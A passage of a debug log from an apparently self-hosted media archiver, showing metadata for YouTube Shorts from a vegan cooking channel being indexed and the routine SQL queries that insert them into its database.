baked tofu and roasted potatoes 🥔 \n\nEasy, nutritious, whole food plant based goodness! Follow @steamyvegankitchen for more vegan food inspiration ⭐️\n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #igworks #iharvest #indoorgardenworks #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan", "What I eat as a vegan 🌱 What I ate in a day!", "ee0634cb-0563-41cc-966d-f21d1b0717ef", 1, [], 46, false, "HIvOgXqde4w", "https://www.youtube.com/shorts/HIvOgXqde4w", 217, "/downloads/downloads/alec/Steamy Vegan/2022-10-19 What I eat as a vegan 🌱 What I ate in a day!/What I eat as a vegan 🌱 What I ate in a day! [HIvOgXqde4w].NA", false, false, true, 0, ~U[2022-10-19 18:07:00Z], ~U[2026-03-22 03:26:55Z], ~U[2026-03-22 03:26:55Z], "A ⭐️realistic⭐️ day of eating as a vegan 🌱😍\n\n🥣 BREAKFAST — pumpkin spice banana choc chip oatmeal \n🍲 LUNCH — rustic red potato 🥔 & leek soup (recipe hitting my blog SOON!) and quinoa salad (using my iHarvest greens! @igworks01 ) w/ chipotle cilantro 🌿 cashew cream dressing \n🥗 DINNER — Mexican-inspired black bean 🫘 tomato 🍅 soup, salad, crispy baked tofu and roasted potatoes 🥔 \n\nEasy, nutritious, whole food plant based goodness! Follow @steamyvegankitchen for more vegan food inspiration ⭐️\n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #igworks #iharvest #indoorgardenworks #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan", "What I eat as a vegan 🌱 What I ate in a day!", 1, 46, false, "HIvOgXqde4w", "https://www.youtube.com/shorts/HIvOgXqde4w", "/downloads/downloads/alec/Steamy Vegan/2022-10-19 What I eat as a vegan 🌱 What I ate in a day!/What I eat as a vegan 🌱 What I ate in a day! [HIvOgXqde4w].NA", true, ~U[2022-10-19 18:07:00Z]] 20:26:55.673 [debug] QUERY OK source="sources" db=0.3ms idle=553.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:55.674 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:55.675 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [606] 20:26:55.675 [debug] Current batch of media processed. Will check again in 1000ms 20:26:56.676 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "*REALISTIC* What I ate in a day 🌱 Plant-based and gluten-free 😌\n\nWholesome, delicious and pretty easy meals! Today was a bit of slower day for me so I had a bit more time to prepare a couple meals from scratch, but I did also incorporate some leftovers into my meals as they were taking up some real estate in my fridge. No fancy filming or lighting set ups in this video today, just a very raw and real look into a typical day of plant-based eating!\n\nMake sure you LIKE this video and hit that SUBSCRIBE BUTTON to see weekly videos (recipes, what I eat, product reviews and more!) 🧡 \n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan \nMusic by Mark Generous - Eternal Dreams - https://thmatc.co/?l=8012F18D", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-18 What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts/What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts [0a-HepNoT_U].NA", "id" => "0a-HepNoT_U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/0a-HepNoT_U", "playlist_index" => 218, "timestamp" => 1666107729, "title" => "What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts", "upload_date" => "20221018"} 20:26:56.678 [debug] QUERY OK source="sources" db=1.0ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:56.679 [debug] QUERY OK source="sources" db=0.9ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:56.681 [debug] QUERY OK source="media_items" db=2.5ms idle=1004.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-18 15:42:09Z], 1] 20:26:56.684 [debug] QUERY OK source="media_items" db=1.8ms idle=1007.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["*REALISTIC* What I ate in a day 🌱 Plant-based and gluten-free 😌\n\nWholesome, delicious and pretty easy meals! Today was a bit of slower day for me so I had a bit more time to prepare a couple meals from scratch, but I did also incorporate some leftovers into my meals as they were taking up some real estate in my fridge. No fancy filming or lighting set ups in this video today, just a very raw and real look into a typical day of plant-based eating!\n\nMake sure you LIKE this video and hit that SUBSCRIBE BUTTON to see weekly videos (recipes, what I eat, product reviews and more!) 🧡 \n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan \nMusic by Mark Generous - Eternal Dreams - https://thmatc.co/?l=8012F18D", "What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts", "8e4d0426-d1b9-460d-8902-3c6d33a65137", 1, [], 27, false, "0a-HepNoT_U", "https://www.youtube.com/shorts/0a-HepNoT_U", 218, "/downloads/downloads/alec/Steamy Vegan/2022-10-18 What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts/What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts [0a-HepNoT_U].NA", false, false, true, 0, ~U[2022-10-18 15:42:09Z], ~U[2026-03-22 03:26:56Z], ~U[2026-03-22 03:26:56Z], "*REALISTIC* What I ate in a day 🌱 Plant-based and gluten-free 😌\n\nWholesome, delicious and pretty easy meals! Today was a bit of slower day for me so I had a bit more time to prepare a couple meals from scratch, but I did also incorporate some leftovers into my meals as they were taking up some real estate in my fridge. No fancy filming or lighting set ups in this video today, just a very raw and real look into a typical day of plant-based eating!\n\nMake sure you LIKE this video and hit that SUBSCRIBE BUTTON to see weekly videos (recipes, what I eat, product reviews and more!) 🧡 \n\n#steamyvegankitchen #steamyvegan #whatieat #whatieatinaday #whatiate #whatiatetoday #veganwhatieatinaday #wfpb #wholefoodplantbased #wholefoodplantbaseddiet #healthyeating #weightloss #weightlossfriendly #veganweightloss #yvrvegans #vancouvervegan \nMusic by Mark Generous - Eternal Dreams - https://thmatc.co/?l=8012F18D", "What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts", 1, 27, false, "0a-HepNoT_U", "https://www.youtube.com/shorts/0a-HepNoT_U", "/downloads/downloads/alec/Steamy Vegan/2022-10-18 What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts/What I Ate in a Day | Plant-Based, Gluten-Free, Whole Foods 🌱😌 #shorts #youtubeshorts [0a-HepNoT_U].NA", true, ~U[2022-10-18 15:42:09Z]] 20:26:56.685 [debug] QUERY OK source="sources" db=0.6ms idle=561.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:56.685 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:56.686 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [607] 20:26:56.686 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-16 Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts/Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts [FAcnTsKrWYU].NA", "id" => "FAcnTsKrWYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/FAcnTsKrWYU", "playlist_index" => 219, "timestamp" => 1665936576, "title" => "Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts", "upload_date" => "20221016"} 20:26:56.687 [debug] QUERY OK source="sources" db=0.9ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:56.688 [debug] QUERY OK source="sources" db=0.4ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:56.689 [debug] QUERY OK source="media_items" db=1.4ms idle=3.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-16 16:09:36Z], 1] 20:26:56.690 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts", "d05f3b51-b868-401f-9752-882876f6cf6a", 1, [], 14, false, "FAcnTsKrWYU", "https://www.youtube.com/shorts/FAcnTsKrWYU", 219, "/downloads/downloads/alec/Steamy Vegan/2022-10-16 Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts/Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts [FAcnTsKrWYU].NA", false, false, true, 0, ~U[2022-10-16 16:09:36Z], ~U[2026-03-22 03:26:56Z], ~U[2026-03-22 03:26:56Z], "", "Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts", 1, 14, false, "FAcnTsKrWYU", "https://www.youtube.com/shorts/FAcnTsKrWYU", "/downloads/downloads/alec/Steamy Vegan/2022-10-16 Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts/Bulletproof way to call in sick to work 🤒 #shorts #youtubeshorts [FAcnTsKrWYU].NA", true, ~U[2022-10-16 16:09:36Z]] 20:26:56.691 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:56.691 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:56.692 [debug] QUERY OK source="media_items" db=0.3ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [608] 20:26:56.692 [debug] Current batch of media processed. Will check again in 1000ms 20:26:57.693 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It's cold and flu season which is the perfect time for me to roll out my go-to immune boosting and cold fighting plant based and gluten free soup. I have this every 1-2 weeks during the Fall and Winter season and I rarely ever get sick.\n\nWant to see 3 of my fave cold and flu remedies, check this vid out: https://youtu.be/mzi8dQ_G4T0\nCheck out the full recipe for this soup here: https://youtu.be/esUrN5wuq5E\n\nRecipe Ingredients:\n5-7 large beets, peeled and cubed\n1 onion, diced\n2\" piece ginger, minced\n2 tsp ground turmeric\n4 cups hot veggie broth\n2 bay leaves\n1/2 can coconut milk\n1 can white beans (cannellini, butter beans, etc)\n5 cups chopped spinach\nsalt + pepper to taste", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-16 My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts/My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts [Yjhi1Y4zCpI].NA", "id" => "Yjhi1Y4zCpI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Yjhi1Y4zCpI", "playlist_index" => 220, "timestamp" => 1665933900, "title" => "My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts", "upload_date" => "20221016"} 20:26:57.694 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:57.695 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:57.697 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-16 15:25:00Z], 1] 20:26:57.699 [debug] QUERY OK source="media_items" db=1.3ms idle=1005.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's cold and flu season which is the perfect time for me to roll out my go-to immune boosting and cold fighting plant based and gluten free soup. I have this every 1-2 weeks during the Fall and Winter season and I rarely ever get sick.\n\nWant to see 3 of my fave cold and flu remedies, check this vid out: https://youtu.be/mzi8dQ_G4T0\nCheck out the full recipe for this soup here: https://youtu.be/esUrN5wuq5E\n\nRecipe Ingredients:\n5-7 large beets, peeled and cubed\n1 onion, diced\n2\" piece ginger, minced\n2 tsp ground turmeric\n4 cups hot veggie broth\n2 bay leaves\n1/2 can coconut milk\n1 can white beans (cannellini, butter beans, etc)\n5 cups chopped spinach\nsalt + pepper to taste", "My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts", "7b9e818d-a64a-475c-b4d0-fb42cf11f8d3", 1, [], 27, false, "Yjhi1Y4zCpI", "https://www.youtube.com/shorts/Yjhi1Y4zCpI", 220, "/downloads/downloads/alec/Steamy Vegan/2022-10-16 My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts/My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts [Yjhi1Y4zCpI].NA", false, false, true, 1, ~U[2022-10-16 15:25:00Z], ~U[2026-03-22 03:26:57Z], ~U[2026-03-22 03:26:57Z], "It's cold and flu season which is the perfect time for me to roll out my go-to immune boosting and cold fighting plant based and gluten free soup. I have this every 1-2 weeks during the Fall and Winter season and I rarely ever get sick.\n\nWant to see 3 of my fave cold and flu remedies, check this vid out: https://youtu.be/mzi8dQ_G4T0\nCheck out the full recipe for this soup here: https://youtu.be/esUrN5wuq5E\n\nRecipe Ingredients:\n5-7 large beets, peeled and cubed\n1 onion, diced\n2\" piece ginger, minced\n2 tsp ground turmeric\n4 cups hot veggie broth\n2 bay leaves\n1/2 can coconut milk\n1 can white beans (cannellini, butter beans, etc)\n5 cups chopped spinach\nsalt + pepper to taste", "My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts", 1, 27, false, "Yjhi1Y4zCpI", "https://www.youtube.com/shorts/Yjhi1Y4zCpI", "/downloads/downloads/alec/Steamy Vegan/2022-10-16 My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts/My Go-To Immune Boosting Soup 🤤\uFFFC🍜#shorts #youtubeshorts [Yjhi1Y4zCpI].NA", true, ~U[2022-10-16 15:25:00Z]] 20:26:57.700 [debug] QUERY OK source="sources" db=0.3ms idle=575.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:57.700 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:57.701 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [609] 20:26:57.701 [debug] Current batch of media processed. Will check again in 1000ms 20:26:58.702 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "In our newest episode on the channel we go over 3 remedies to help you battle or prevent any cold, even the dreaded Man Cold. Check out the full episode here: https://youtu.be/mzi8dQ_G4T0", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-15 Is the Man Cold Real? 😱🥴#shorts #youtubeshorts/Is the Man Cold Real? 😱🥴#shorts #youtubeshorts [Cm05I-isDhE].NA", "id" => "Cm05I-isDhE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Cm05I-isDhE", "playlist_index" => 221, "timestamp" => 1665851700, "title" => "Is the Man Cold Real? 😱🥴#shorts #youtubeshorts", "upload_date" => "20221015"} 20:26:58.703 [debug] QUERY OK source="sources" 